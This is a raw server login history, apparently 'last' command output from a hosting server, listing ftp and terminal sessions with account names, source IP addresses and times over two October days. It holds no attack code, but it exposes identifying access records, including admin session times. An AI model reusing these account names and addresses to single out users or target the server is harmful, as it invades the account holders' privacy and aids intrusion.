xboxland ftp 217.10.45.28 Fri Oct 22 13:49 - 13:55 (00:05)
pionerz ftp 194.204.17.244 Fri Oct 22 13:47 - 14:32 (00:45)
oeforum ftp 212.7.28.220 Fri Oct 22 13:44 - 13:53 (00:09)
skynet_logs ftp 213.130.10.11 Fri Oct 22 13:42 - 13:42 (00:00)
nimble ftp 213.130.7.42 Fri Oct 22 13:42 - 13:56 (00:14)
deset ftp 62.183.3.97 Fri Oct 22 13:41 - 13:59 (00:17)
deset ftp 62.183.3.97 Fri Oct 22 13:41 - 13:51 (00:10)
deset ftp 62.183.3.97 Fri Oct 22 13:40 - 13:51 (00:10)
deset ftp 62.183.3.97 Fri Oct 22 13:40 - 13:50 (00:10)
nimble ftp 213.130.7.42 Fri Oct 22 13:39 - 13:41 (00:01)
iand ftp 213.148.31.233 Fri Oct 22 13:35 - 13:55 (00:19)
bk ftp 217.159.171.34 Fri Oct 22 13:34 - 13:45 (00:10)
oeforum ftp 212.7.28.220 Fri Oct 22 13:33 - 13:43 (00:10)
oeforum ftp 212.7.28.220 Fri Oct 22 13:33 - 13:33 (00:00)
forest ftp 82.81.105.192 Fri Oct 22 13:32 - 13:32 (00:00)
nimble ftp 213.130.7.42 Fri Oct 22 13:28 - 13:41 (00:12)
nimble ftp 213.130.7.42 Fri Oct 22 13:27 - 13:39 (00:12)
forest ftp 82.81.105.192 Fri Oct 22 13:26 - 13:32 (00:06)
akorbal ftp 62.76.4.137 Fri Oct 22 13:22 - 13:35 (00:12)
pionerz ftp 194.204.17.244 Fri Oct 22 13:18 - 13:44 (00:25)
story ftp 80.235.127.254 Fri Oct 22 12:57 - 13:08 (00:10)
forest ftp 82.81.105.192 Fri Oct 22 12:54 - 12:55 (00:01)
forest ftp 82.81.105.192 Fri Oct 22 12:52 - 12:53 (00:00)
upsaitb ftp 62.148.157.192 Fri Oct 22 12:33 - 12:39 (00:06)
gdpbalt ftp 62.65.252.61 Fri Oct 22 12:28 - 12:30 (00:02)
gdp ftp 62.65.252.61 Fri Oct 22 12:27 - 12:27 (00:00)
iand ftp 213.148.31.233 Fri Oct 22 12:22 - 13:30 (01:08)
story ftp 80.235.127.254 Fri Oct 22 12:11 - 12:13 (00:02)
median ftp 83.237.28.137 Fri Oct 22 12:08 - 12:10 (00:02)
onlines ftp 194.204.48.133 Fri Oct 22 12:03 - 12:18 (00:15)
refogb ftp 195.239.140.241 Fri Oct 22 12:02 - 12:49 (00:46)
iand ftp 213.148.31.233 Fri Oct 22 11:51 - 12:12 (00:20)
refogb ftp 195.239.140.241 Fri Oct 22 11:36 - 11:46 (00:10)
iand ftp 213.148.31.233 Fri Oct 22 11:22 - 11:47 (00:24)
zlg ftp 194.186.32.2 Fri Oct 22 11:15 - 11:26 (00:10)
iand ftp 213.148.31.233 Fri Oct 22 11:07 - 11:19 (00:11)
tulksco ftp 217.199.109.35 Fri Oct 22 10:47 - 10:48 (00:00)
tulksco ftp 217.199.109.35 Fri Oct 22 10:47 - 10:48 (00:00)
tulksco ftp 217.199.109.35 Fri Oct 22 10:46 - 10:47 (00:01)
tulksco ftp 217.199.109.35 Fri Oct 22 10:41 - 10:41 (00:00)
tulksco ftp 217.199.109.35 Fri Oct 22 10:41 - 10:41 (00:00)
iand ftp 213.148.31.233 Fri Oct 22 10:40 - 10:52 (00:11)
gdp ttyp4 mahaon.ints.net Fri Oct 22 10:30 - 20:51 (10:21)
xzoneu ftp 83.219.159.11 Fri Oct 22 10:11 - 10:22 (00:11)
admin ttyp0 82.131.4.167 Fri Oct 22 10:05 - 14:35 (04:30)
tulksco ftp 217.199.109.35 Fri Oct 22 09:50 - 09:50 (00:00)
tulksco ftp 217.199.109.35 Fri Oct 22 09:49 - 09:50 (00:00)
tulksco ftp 217.199.109.35 Fri Oct 22 09:40 - 09:41 (00:00)
tulksco ftp 217.199.109.35 Fri Oct 22 09:40 - 09:40 (00:00)
mussoft@sslproj ftp 217.107.21.105 Fri Oct 22 09:24 - 09:24 (00:00)
tulksco ftp 217.199.109.35 Fri Oct 22 09:23 - 09:24 (00:00)
tulksco ftp 217.199.109.35 Fri Oct 22 09:23 - 09:24 (00:00)
mussoft@sslproj ftp 217.107.21.105 Fri Oct 22 09:19 - 09:26 (00:07)
mussoft@sslproj ftp 217.107.21.105 Fri Oct 22 09:16 - 09:19 (00:02)
anonymous@sslpr ftp 217.107.21.105 Fri Oct 22 09:16 - 09:16 (00:00)
anonymous@sslpr ftp 217.107.21.105 Fri Oct 22 09:15 - 09:15 (00:00)
mussoft@sslproj ftp 217.107.21.105 Fri Oct 22 09:15 - 09:15 (00:00)
tulksco ftp 217.199.109.35 Fri Oct 22 09:00 - 09:00 (00:00)
tulksco ftp 217.199.109.35 Fri Oct 22 09:00 - 09:00 (00:00)
tulksco ftp 217.199.109.35 Fri Oct 22 09:00 - 09:00 (00:00)
tulksco ftp 217.199.109.35 Fri Oct 22 08:59 - 08:59 (00:00)
tulksco ftp 217.199.109.35 Fri Oct 22 08:59 - 09:00 (00:00)
tulksco ftp 217.199.109.35 Fri Oct 22 08:56 - 08:56 (00:00)
tulksco ftp 217.199.109.35 Fri Oct 22 08:55 - 08:56 (00:00)
bk ftp 217.159.171.34 Fri Oct 22 08:40 - 08:40 (00:00)
bk ftp 217.159.171.34 Fri Oct 22 08:39 - 08:39 (00:00)
bk ftp 217.159.171.34 Fri Oct 22 08:39 - 08:39 (00:00)
bk ftp 217.159.171.34 Fri Oct 22 08:39 - 08:50 (00:10)
xboxland ftp 217.10.45.28 Fri Oct 22 08:33 - 09:48 (01:15)
secureb ftp 62.118.150.174 Fri Oct 22 07:08 - 07:22 (00:14)
secureb ftp 62.118.144.137 Fri Oct 22 06:56 - 07:06 (00:10)
secureb ftp 62.118.146.54 Fri Oct 22 06:49 - 07:01 (00:12)
secureb ftp 62.118.142.18 Fri Oct 22 06:36 - 06:49 (00:13)
tulksco ftp 217.199.109.35 Fri Oct 22 06:32 - 06:32 (00:00)
secureb ftp 62.118.152.113 Fri Oct 22 06:22 - 06:40 (00:18)
secureb ftp 62.118.152.113 Fri Oct 22 06:19 - 06:21 (00:01)
tulksco ftp 217.199.109.35 Fri Oct 22 06:17 - 06:27 (00:09)
tulksco ftp 217.199.109.35 Fri Oct 22 06:17 - 06:17 (00:00)
tulksco ftp 217.199.109.35 Fri Oct 22 06:13 - 06:13 (00:00)
tulksco ftp 217.199.109.35 Fri Oct 22 06:09 - 06:12 (00:02)
tulksco ftp 217.199.109.35 Fri Oct 22 06:09 - 06:09 (00:00)
tulksco ftp 217.199.109.35 Fri Oct 22 06:08 - 06:13 (00:04)
wincomua ftp 213.186.192.245 Fri Oct 22 06:01 - 06:10 (00:08)
wincomua ftp 213.186.192.245 Fri Oct 22 06:01 - 06:01 (00:00)
tulksco ftp 217.199.109.35 Fri Oct 22 05:59 - 06:01 (00:02)
tulksco ftp 217.199.109.35 Fri Oct 22 05:58 - 05:59 (00:00)
ravolink ftp 82.131.4.167 Fri Oct 22 05:55 - 05:59 (00:03)
tulksco ftp 217.199.109.35 Fri Oct 22 05:53 - 05:58 (00:04)
tulksco ftp 217.199.109.35 Fri Oct 22 05:53 - 05:53 (00:00)
wincomua ftp 213.186.192.245 Fri Oct 22 05:49 - 06:00 (00:10)
anonymous@sslpr ftp 83.237.41.19 Fri Oct 22 05:45 - 05:47 (00:01)
ravolink ftp 82.131.4.167 Fri Oct 22 05:45 - 05:57 (00:11)
ravolink ftp 82.131.4.167 Fri Oct 22 05:22 - 05:55 (00:32)
wincomua ftp 213.186.192.245 Fri Oct 22 05:19 - 05:29 (00:10)
wincomua ftp 213.186.192.245 Fri Oct 22 05:19 - 05:19 (00:00)
wincomua ftp 213.186.192.245 Fri Oct 22 05:19 - 05:19 (00:00)
ravolink ftp 82.131.4.167 Fri Oct 22 05:17 - 05:37 (00:19)
wincomua ftp 213.186.192.245 Fri Oct 22 05:13 - 05:13 (00:00)
wincomua ftp 213.186.192.245 Fri Oct 22 05:12 - 05:12 (00:00)
wincomua ftp 213.186.192.245 Fri Oct 22 05:12 - 05:12 (00:00)
wincomua ftp 213.186.192.245 Fri Oct 22 05:12 - 05:12 (00:00)
wincomua ftp 213.186.192.245 Fri Oct 22 05:12 - 05:12 (00:00)
wincomua ftp 213.186.192.245 Fri Oct 22 05:12 - 05:12 (00:00)
wincomua ftp 213.186.192.245 Fri Oct 22 05:12 - 05:12 (00:00)
wincomua ftp 213.186.192.245 Fri Oct 22 05:10 - 05:10 (00:00)
wincomua ftp 213.186.192.245 Fri Oct 22 05:10 - 05:10 (00:00)
wincomua ftp 213.186.192.245 Fri Oct 22 05:10 - 05:10 (00:00)
wincomua ftp 213.186.192.245 Fri Oct 22 05:10 - 05:10 (00:00)
wincomua ftp 213.186.192.245 Fri Oct 22 05:10 - 05:10 (00:00)
wincomua ftp 213.186.192.245 Fri Oct 22 05:10 - 05:10 (00:00)
wincomua ftp 213.186.192.245 Fri Oct 22 05:09 - 05:09 (00:00)
wincomua ftp 213.186.192.245 Fri Oct 22 05:09 - 05:09 (00:00)
wincomua ftp 213.186.192.245 Fri Oct 22 05:09 - 05:09 (00:00)
ravolink ftp 82.131.4.167 Fri Oct 22 05:08 - 05:14 (00:05)
wincomua ftp 213.186.192.245 Fri Oct 22 05:08 - 05:18 (00:10)
wincomua ftp 213.186.192.245 Fri Oct 22 05:08 - 05:09 (00:01)
wincomua ftp 213.186.192.245 Fri Oct 22 05:08 - 05:08 (00:00)
ravolink ftp 82.131.4.167 Fri Oct 22 05:06 - 05:14 (00:07)
wincomua ftp 213.186.192.245 Fri Oct 22 05:06 - 05:16 (00:10)
wincomua ftp 213.186.192.245 Fri Oct 22 05:04 - 05:15 (00:10)
wincomua ftp 213.186.192.245 Fri Oct 22 05:03 - 05:14 (00:10)
wincomua ftp 213.186.192.245 Fri Oct 22 05:03 - 05:08 (00:04)
wincomua ftp 213.186.192.245 Fri Oct 22 05:02 - 05:03 (00:01)
wincomua ftp 213.186.192.245 Fri Oct 22 05:01 - 05:03 (00:01)
ravolink ftp 82.131.4.167 Fri Oct 22 03:36 - 04:07 (00:31)
zport ftp 81.3.170.245 Fri Oct 22 03:20 - 05:13 (01:53)
anonymous@sslpr ftp 83.237.41.19 Fri Oct 22 03:12 - 03:28 (00:15)
ravolink ftp 82.131.4.167 Fri Oct 22 03:06 - 03:17 (00:10)
zlg ftp 194.186.96.140 Fri Oct 22 02:57 - 03:07 (00:10)
anonymous@sslpr ftp 83.237.41.19 Fri Oct 22 02:53 - 03:10 (00:17)
anonymous@sslpr ftp 83.237.41.19 Fri Oct 22 02:53 - 02:53 (00:00)
anonymous@sslpr ftp 83.237.41.19 Fri Oct 22 02:52 - 02:53 (00:00)
anonymous@sslpr ftp 83.237.41.19 Fri Oct 22 02:52 - 02:52 (00:00)
zport ftp 81.3.170.245 Fri Oct 22 02:49 - 03:23 (00:34)
anonymous@sslpr ftp 83.237.41.19 Fri Oct 22 02:49 - 02:50 (00:01)
ravolink ftp 82.131.4.167 Fri Oct 22 01:40 - 01:53 (00:13)
ravolink ftp 82.131.4.167 Fri Oct 22 01:19 - 01:36 (00:16)
lefthand ttyp4 212.58.204.186 Fri Oct 22 01:07 - 01:07 (00:00)
tdz ftp 195.158.180.129 Fri Oct 22 00:51 - 00:56 (00:05)
trash ftp 82.131.4.167 Fri Oct 22 00:50 - 01:07 (00:16)
takaja ftp 194.204.29.7 Fri Oct 22 00:50 - 02:08 (01:17)
zport ftp 81.3.170.245 Fri Oct 22 00:49 - 01:15 (00:26)
zport ftp 81.3.170.245 Fri Oct 22 00:47 - 00:50 (00:03)
zport ftp 81.3.170.245 Fri Oct 22 00:30 - 00:53 (00:22)
tdz ftp 194.84.143.232 Fri Oct 22 00:19 - 01:29 (01:09)
forest ftp 82.80.159.24 Fri Oct 22 00:19 - 00:20 (00:00)
forest ftp 82.80.159.24 Fri Oct 22 00:17 - 00:17 (00:00)
forest ftp 82.80.159.24 Fri Oct 22 00:16 - 00:17 (00:01)
tallif ftp 213.219.88.30 Fri Oct 22 00:13 - 00:26 (00:12)
flooder ftp 195.39.210.230 Thu Oct 21 23:53 - 23:53 (00:00)
flooder ftp 195.39.210.230 Thu Oct 21 23:53 - 23:53 (00:00)
flooder ftp 195.39.210.230 Thu Oct 21 23:52 - 00:06 (00:14)
mwsdata ftp 24.184.228.166 Thu Oct 21 23:43 - 23:43 (00:00)
forest ftp 82.80.159.24 Thu Oct 21 23:37 - 23:56 (00:18)
novo ftp 217.172.21.35 Thu Oct 21 23:26 - 23:26 (00:00)
alexclk ftp 217.5.60.122 Thu Oct 21 23:25 - 23:25 (00:00)
forumlif ftp 194.106.127.118 Thu Oct 21 23:24 - 23:25 (00:01)
forumlif ftp 194.106.127.118 Thu Oct 21 23:18 - 23:19 (00:00)
warez@trillian. ftp 195.131.125.243 Thu Oct 21 23:17 - 23:26 (00:08)
admin ttyp0 82.131.4.167 Thu Oct 21 23:11 - 01:12 (02:01)
tdz ftp 62.33.55.227 Thu Oct 21 23:09 - 23:12 (00:03)
forumlif ftp 194.106.127.118 Thu Oct 21 23:08 - 23:11 (00:03)
tdz ftp 62.33.55.227 Thu Oct 21 23:07 - 23:08 (00:01)
gym11 ftp 213.85.109.2 Thu Oct 21 23:02 - 23:02 (00:00)
forest ftp 82.80.159.24 Thu Oct 21 23:02 - 23:02 (00:00)
gym11 ftp 213.85.109.2 Thu Oct 21 23:01 - 23:07 (00:05)
gym11 ftp 213.85.109.2 Thu Oct 21 22:59 - 23:06 (00:06)
forumlif ftp 194.106.127.118 Thu Oct 21 22:55 - 22:57 (00:01)
alexclk ftp 217.5.60.122 Thu Oct 21 22:52 - 23:16 (00:23)
story ftp 80.235.127.254 Thu Oct 21 22:33 - 22:48 (00:15)
novo_logs ftp 217.172.21.35 Thu Oct 21 22:27 - 22:28 (00:01)
stive ftp 212.58.195.95 Thu Oct 21 22:08 - 22:48 (00:40)
median ftp 81.195.5.230 Thu Oct 21 22:08 - 22:09 (00:01)
money ftp 82.135.152.34 Thu Oct 21 22:04 - 22:16 (00:12)
design ftp 213.35.209.11 Thu Oct 21 22:02 - 22:07 (00:05)
trash ftp 213.35.209.11 Thu Oct 21 22:02 - 22:02 (00:00)
baltbal ftp 82.147.171.109 Thu Oct 21 21:53 - 21:58 (00:05)
runetb ftp 213.35.216.238 Thu Oct 21 21:50 - 22:00 (00:10)
story ftp 80.235.127.254 Thu Oct 21 21:43 - 21:55 (00:12)
estfootball ftp 82.147.163.30 Thu Oct 21 21:39 - 21:51 (00:11)
baltbal ftp 82.147.171.109 Thu Oct 21 21:35 - 21:45 (00:09)
story ftp 80.235.127.254 Thu Oct 21 21:32 - 21:33 (00:00)
baltbal ftp 82.147.171.109 Thu Oct 21 21:26 - 21:35 (00:08)
isd ftp 194.154.84.36 Thu Oct 21 21:23 - 21:23 (00:00)
isd ftp 194.154.84.36 Thu Oct 21 21:21 - 21:25 (00:04)
runetb ftp 213.35.216.238 Thu Oct 21 21:21 - 21:38 (00:16)
forumlif ftp 194.106.127.118 Thu Oct 21 21:20 - 21:24 (00:03)
baltbal ftp 82.147.171.109 Thu Oct 21 21:15 - 21:25 (00:09)
baltbal ftp 82.147.171.109 Thu Oct 21 21:07 - 21:15 (00:07)
albalt ftp 217.159.170.70 Thu Oct 21 21:01 - 21:56 (00:54)
baltbal ftp 82.147.171.109 Thu Oct 21 21:00 - 21:00 (00:00)
baltbal ftp 82.147.171.109 Thu Oct 21 21:00 - 21:00 (00:00)
baltbal ftp 82.147.171.109 Thu Oct 21 20:59 - 21:00 (00:01)
baltbal ftp 82.147.171.109 Thu Oct 21 20:59 - 20:59 (00:00)
baltbal ftp 82.147.171.109 Thu Oct 21 20:55 - 21:05 (00:10)
baltbal ftp 82.147.171.109 Thu Oct 21 20:55 - 20:55 (00:00)
baltbal ftp 82.147.171.109 Thu Oct 21 20:55 - 21:05 (00:10)
baltbal ftp 82.147.171.109 Thu Oct 21 20:55 - 21:05 (00:10)
[email protected] ftp 82.207.20.192 Thu Oct 21 20:52 - 21:09 (00:17)
baltbal ftp 82.147.171.109 Thu Oct 21 20:42 - 20:43 (00:00)
baltbal ftp 82.147.171.109 Thu Oct 21 20:42 - 20:42 (00:00)
baltbal ftp 82.131.4.167 Thu Oct 21 20:39 - 20:46 (00:06)
softam ftp 213.152.147.54 Thu Oct 21 20:38 - 20:44 (00:05)
teraarh ftp 62.213.86.134 Thu Oct 21 20:37 - 20:47 (00:10)
stive ftp 212.58.195.154 Thu Oct 21 20:21 - 20:32 (00:10)
stive ftp 212.58.195.154 Thu Oct 21 20:21 - 20:21 (00:00)
tulksco ftp 217.199.109.35 Thu Oct 21 20:18 - 20:18 (00:00)
tulksco ftp 217.199.109.35 Thu Oct 21 20:17 - 20:17 (00:00)
tulksco ftp 217.199.109.35 Thu Oct 21 20:17 - 20:18 (00:00)
tulksco ftp 217.199.109.35 Thu Oct 21 20:12 - 20:13 (00:01)
tulksco ftp 217.199.109.35 Thu Oct 21 20:04 - 20:10 (00:06)
trash ftp 213.35.209.11 Thu Oct 21 19:52 - 20:23 (00:30)
[email protected] ftp 141.44.167.25 Thu Oct 21 19:47 - 19:47 (00:00)
nimble ftp 213.130.7.45 Thu Oct 21 19:39 - 19:40 (00:00)
nimble ftp 213.130.7.45 Thu Oct 21 19:37 - 19:43 (00:06)
isd ftp 194.154.84.36 Thu Oct 21 19:33 - 19:34 (00:00)
isd ftp 194.154.84.36 Thu Oct 21 19:31 - 20:25 (00:54)
isd ftp 194.154.84.36 Thu Oct 21 19:29 - 19:39 (00:09)
albalt ftp 217.159.170.70 Thu Oct 21 19:27 - 19:37 (00:10)
albalt ftp 217.159.170.70 Thu Oct 21 19:25 - 20:01 (00:36)
nimble ftp 213.130.7.45 Thu Oct 21 19:20 - 19:23 (00:02)
zotkin2@zotkin. ftp 212.45.6.50 Thu Oct 21 19:15 - 19:30 (00:14)
trash ftp 213.35.209.11 Thu Oct 21 19:15 - 19:15 (00:00)
wh ftp 212.15.118.236 Thu Oct 21 19:13 - 19:18 (00:04)
pionerz ftp 194.204.17.244 Thu Oct 21 19:12 - 19:22 (00:10)
stive ftp 212.58.195.165 Thu Oct 21 19:10 - 19:20 (00:10)
stive ftp 212.58.195.165 Thu Oct 21 19:10 - 19:10 (00:00)
stive ftp 212.58.195.165 Thu Oct 21 19:06 - 19:16 (00:10)
stive ftp 212.58.195.165 Thu Oct 21 19:06 - 19:06 (00:00)
forest ftp 82.80.159.24 Thu Oct 21 19:06 - 19:06 (00:00)
stive ftp 212.58.195.165 Thu Oct 21 19:05 - 19:16 (00:10)
stive ftp 212.58.195.165 Thu Oct 21 19:05 - 19:05 (00:00)
stive ftp 212.58.195.165 Thu Oct 21 19:00 - 19:15 (00:14)
odyssey ftp 83.136.241.18 Thu Oct 21 18:57 - 18:58 (00:00)
skynet ftp 213.130.23.237 Thu Oct 21 18:44 - 18:48 (00:03)
odyssey ftp 83.136.241.18 Thu Oct 21 18:27 - 18:52 (00:25)
auto ftp 193.40.12.204 Thu Oct 21 18:26 - 18:27 (00:00)
tulksco ftp 217.199.109.35 Thu Oct 21 18:08 - 18:09 (00:00)
tulksco ftp 217.199.109.35 Thu Oct 21 18:08 - 18:09 (00:01)
tulksco ftp 217.199.109.35 Thu Oct 21 17:52 - 17:59 (00:06)
grusper ftp 82.131.16.127 Thu Oct 21 17:47 - 17:48 (00:01)
stive ftp 212.58.195.165 Thu Oct 21 17:46 - 17:47 (00:00)
tulksco ftp 217.199.109.35 Thu Oct 21 17:46 - 17:46 (00:00)
tulksco ftp 217.199.109.35 Thu Oct 21 17:46 - 17:48 (00:02)
median ftp 81.195.5.14 Thu Oct 21 17:33 - 17:33 (00:00)
stive ftp 212.58.195.165 Thu Oct 21 17:31 - 17:32 (00:00)
odyssey ftp 83.136.241.18 Thu Oct 21 17:30 - 17:44 (00:14)
stive ftp 212.58.195.165 Thu Oct 21 17:20 - 17:31 (00:10)
zlg ftp 194.186.96.233 Thu Oct 21 17:20 - 17:20 (00:00)
grusper ftp 82.131.16.127 Thu Oct 21 17:17 - 17:38 (00:20)
stive ftp 212.58.195.165 Thu Oct 21 17:16 - 17:20 (00:04)
bk ftp 217.159.171.34 Thu Oct 21 17:12 - 17:12 (00:00)
bk ftp 217.159.171.34 Thu Oct 21 17:11 - 17:11 (00:00)
admin ttyp0 82.131.4.167 Thu Oct 21 17:10 - 22:14 (05:03)
stive ftp 212.58.195.165 Thu Oct 21 17:09 - 17:16 (00:07)
bk ftp 217.159.171.34 Thu Oct 21 17:07 - 17:07 (00:00)
bk ftp 217.159.171.34 Thu Oct 21 17:06 - 17:22 (00:16)
stive ftp 212.58.195.165 Thu Oct 21 16:48 - 17:08 (00:20)
stive ftp 212.58.195.165 Thu Oct 21 16:48 - 17:09 (00:21)
stive ftp 212.58.195.165 Thu Oct 21 16:44 - 16:48 (00:03)
stive ftp 212.58.195.165 Thu Oct 21 16:44 - 16:46 (00:02)
stive ftp 212.58.195.165 Thu Oct 21 16:42 - 16:46 (00:03)
median ftp 83.237.28.249 Thu Oct 21 16:36 - 16:44 (00:08)
odyssey ftp 83.136.241.18 Thu Oct 21 16:35 - 17:28 (00:52)
xboxland ftp 217.10.45.28 Thu Oct 21 16:34 - 16:35 (00:01)
prohack ftp 62.76.229.84 Thu Oct 21 16:25 - 16:35 (00:10)
tulksco ftp 217.199.109.35 Thu Oct 21 16:25 - 16:31 (00:06)
prohack ftp 62.76.229.84 Thu Oct 21 16:24 - 16:34 (00:10)
progzn ftp 81.176.95.82 Thu Oct 21 16:22 - 16:33 (00:10)
odyssey ftp 83.136.241.18 Thu Oct 21 16:17 - 16:28 (00:10)
progzn ftp 81.176.95.82 Thu Oct 21 16:17 - 16:28 (00:10)
median ftp 83.237.28.249 Thu Oct 21 16:16 - 16:35 (00:19)
story ftp 80.235.127.254 Thu Oct 21 16:14 - 16:25 (00:11)
russ ftp 213.242.243.168 Thu Oct 21 16:13 - 16:15 (00:01)
xboxland ftp 217.10.45.28 Thu Oct 21 16:11 - 16:28 (00:17)
skynet ftp 213.130.21.240 Thu Oct 21 16:11 - 16:11 (00:00)
story ftp 80.235.127.254 Thu Oct 21 16:07 - 16:08 (00:00)
tulksco ftp 217.199.109.35 Thu Oct 21 16:06 - 16:06 (00:00)
tulksco ftp 217.199.109.35 Thu Oct 21 16:06 - 16:06 (00:00)
odyssey ftp 83.136.241.18 Thu Oct 21 16:05 - 16:13 (00:08)
isd ftp 81.211.32.70 Thu Oct 21 15:52 - 16:33 (00:40)
prohack ftp 62.76.229.84 Thu Oct 21 15:37 - 15:48 (00:11)
prohack ftp 62.76.229.84 Thu Oct 21 15:33 - 15:37 (00:04)
odyssey ftp 83.136.241.18 Thu Oct 21 15:28 - 15:45 (00:17)
odyssey ftp 83.136.241.18 Thu Oct 21 15:28 - 15:28 (00:00)
tulksco ftp 217.199.109.35 Thu Oct 21 15:22 - 15:22 (00:00)
tulksco ftp 217.199.109.35 Thu Oct 21 15:21 - 15:22 (00:00)
spaiznuke ftp 192.117.97.6 Thu Oct 21 15:20 - 15:37 (00:17)
forest ftp 81.218.90.84 Thu Oct 21 15:19 - 15:32 (00:13)
forest ftp 81.218.90.84 Thu Oct 21 15:18 - 15:19 (00:00)
xboxland ftp 217.10.45.28 Thu Oct 21 15:15 - 15:23 (00:07)
prohack ftp 62.76.229.84 Thu Oct 21 15:15 - 15:34 (00:18)
aaa ftp 62.65.206.27 Thu Oct 21 15:12 - 15:14 (00:02)
prohack ftp 62.76.229.84 Thu Oct 21 15:10 - 15:15 (00:04)
upsaitb ftp 62.148.157.239 Thu Oct 21 15:08 - 15:27 (00:18)
russ ftp 213.242.243.168 Thu Oct 21 15:03 - 15:03 (00:00)
forest ftp 81.218.74.25 Thu Oct 21 14:54 - 15:09 (00:15)
odyssey ftp 83.136.241.18 Thu Oct 21 14:47 - 15:12 (00:24)
lefthand ftp 64.182.1.198 Thu Oct 21 14:17 - 14:20 (00:02)
yourtrad ftp 195.209.228.141 Thu Oct 21 14:16 - 14:21 (00:04)
lefthand ftp 64.182.1.198 Thu Oct 21 14:14 - 14:17 (00:02)
story ftp 80.235.127.254 Thu Oct 21 14:11 - 14:37 (00:25)
lefthand ftp 194.226.242.85 Thu Oct 21 14:08 - 14:14 (00:06)
lefthand ftp 194.226.242.85 Thu Oct 21 14:05 - 14:14 (00:08)
lefthand ftp 64.182.1.198 Thu Oct 21 14:04 - 14:16 (00:12)
story ftp 80.235.127.254 Thu Oct 21 14:04 - 14:07 (00:02)
bk ftp 217.159.171.34 Thu Oct 21 14:01 - 14:01 (00:00)
bk ftp 217.159.171.34 Thu Oct 21 14:01 - 14:11 (00:10)
zlg ftp 194.186.32.64 Thu Oct 21 13:55 - 14:12 (00:16)
lefthand ftp 194.226.242.85 Thu Oct 21 13:47 - 14:02 (00:14)
xlprocessor ftp 217.159.132.27 Thu Oct 21 13:33 - 13:44 (00:11)
nimble ftp 213.130.7.55 Thu Oct 21 13:31 - 13:46 (00:15)
lefthand ftp 194.226.242.85 Thu Oct 21 13:22 - 13:37 (00:14)
admin ttyp4 mahaon.ints.net Thu Oct 21 13:22 - 15:45 (02:23)
lefthand ftp 194.226.242.85 Thu Oct 21 13:21 - 14:03 (00:41)
median ftp 83.237.28.195 Thu Oct 21 13:07 - 13:09 (00:01)
xlprocessor ftp 217.159.132.27 Thu Oct 21 12:55 - 13:07 (00:12)
xlprocessor ftp 217.159.132.27 Thu Oct 21 12:53 - 12:55 (00:01)
soc ftp 82.131.30.153 Thu Oct 21 12:51 - 13:06 (00:14)
xlprocessor ftp 217.159.132.27 Thu Oct 21 12:51 - 12:52 (00:00)
processor ftp 217.159.132.27 Thu Oct 21 12:51 - 12:51 (00:00)
processor ftp 217.159.132.27 Thu Oct 21 12:49 - 12:49 (00:00)
rafasoft ftp 216.236.117.139 Thu Oct 21 12:48 - 13:02 (00:13)
xlprocessor ftp 217.159.132.27 Thu Oct 21 12:48 - 12:49 (00:00)
ravolink ftp 82.131.4.167 Thu Oct 21 12:47 - 13:11 (00:24)
ibris ftp 195.5.144.51 Thu Oct 21 12:44 - 13:00 (00:15)
ravolink ftp 82.131.4.167 Thu Oct 21 12:44 - 12:46 (00:02)
forest ftp 81.218.74.25 Thu Oct 21 12:33 - 12:56 (00:22)
flooder ftp 195.39.210.230 Thu Oct 21 12:32 - 12:35 (00:02)
flooder ftp 195.39.210.230 Thu Oct 21 12:31 - 12:32 (00:00)
flooder ftp 195.39.210.230 Thu Oct 21 12:28 - 12:31 (00:03)
forest ftp 81.218.74.25 Thu Oct 21 12:24 - 12:34 (00:10)
ravolink ftp 82.131.4.167 Thu Oct 21 12:21 - 12:43 (00:21)
progzn ftp 81.176.95.82 Thu Oct 21 12:20 - 12:36 (00:15)
lefthand ftp 64.182.1.198 Thu Oct 21 12:17 - 12:17 (00:00)
vismadec ftp 80.235.127.254 Thu Oct 21 12:15 - 12:15 (00:00)
tulksco ftp 217.199.109.35 Thu Oct 21 12:12 - 12:12 (00:00)
tulksco ftp 217.199.109.35 Thu Oct 21 12:11 - 12:12 (00:00)
ravolink ftp 82.131.4.167 Thu Oct 21 12:08 - 12:18 (00:10)
median ftp 83.237.28.208 Thu Oct 21 11:55 - 12:15 (00:20)
pensiote ftp 195.151.254.245 Thu Oct 21 11:37 - 11:47 (00:10)
[email protected] ftp 83.136.241.18 Thu Oct 21 11:31 - 11:31 (00:00)
tulksco ftp 217.199.109.35 Thu Oct 21 11:27 - 11:28 (00:00)
tulksco ftp 217.199.109.35 Thu Oct 21 11:27 - 11:28 (00:00)
forest ftp 81.218.74.25 Thu Oct 21 11:27 - 11:38 (00:11)
gdp ftp 194.44.58.68 Thu Oct 21 11:25 - 11:25 (00:00)
odyssey ftp 83.136.241.18 Thu Oct 21 11:13 - 11:31 (00:17)
flooder ftp 195.39.210.230 Thu Oct 21 11:01 - 11:06 (00:04)
ravolink ftp 82.131.4.167 Thu Oct 21 10:43 - 10:58 (00:15)
tulksco ftp 217.199.109.35 Thu Oct 21 10:40 - 10:46 (00:05)
progzn ftp 81.176.95.82 Thu Oct 21 10:37 - 10:47 (00:10)
top1 ftp 80.235.56.77 Thu Oct 21 10:35 - 10:45 (00:10)
tulksco ftp 217.199.109.35 Thu Oct 21 10:33 - 10:33 (00:00)
progzn ftp 217.107.6.85 Thu Oct 21 10:30 - 10:30 (00:00)
tulksco ftp 217.199.109.35 Thu Oct 21 10:29 - 10:30 (00:00)
gdp ttyp2 62.65.252.61 Thu Oct 21 10:20 still logged in
xboxland ftp 217.10.45.28 Thu Oct 21 10:07 - 10:09 (00:01)
progzn ftp 217.107.6.85 Thu Oct 21 10:02 - 10:29 (00:27)
progzn ftp 81.176.95.82 Thu Oct 21 09:58 - 10:09 (00:11)
top1 ftp 80.235.56.77 Thu Oct 21 09:51 - 10:06 (00:15)
sghi ftp 217.174.98.26 Thu Oct 21 09:41 - 09:44 (00:02)
rafasoft ftp 216.236.117.139 Thu Oct 21 09:24 - 09:27 (00:03)
spartak@sslproj ftp 217.107.21.105 Thu Oct 21 09:20 - 09:23 (00:02)
admin ttyp0 82.131.4.167 Thu Oct 21 09:18 - 16:14 (06:56)
spartak@sslproj ftp 217.107.21.105 Thu Oct 21 09:17 - 09:27 (00:10)
rafasoft ftp 216.236.117.139 Thu Oct 21 08:54 - 08:56 (00:01)
wh ftp 212.15.118.123 Thu Oct 21 08:39 - 08:39 (00:00)
prohack ftp 62.76.229.14 Thu Oct 21 08:21 - 09:07 (00:46)
tulksco ftp 217.199.109.35 Thu Oct 21 07:25 - 07:31 (00:06)
zport ftp 81.3.153.65 Thu Oct 21 07:13 - 07:34 (00:20)
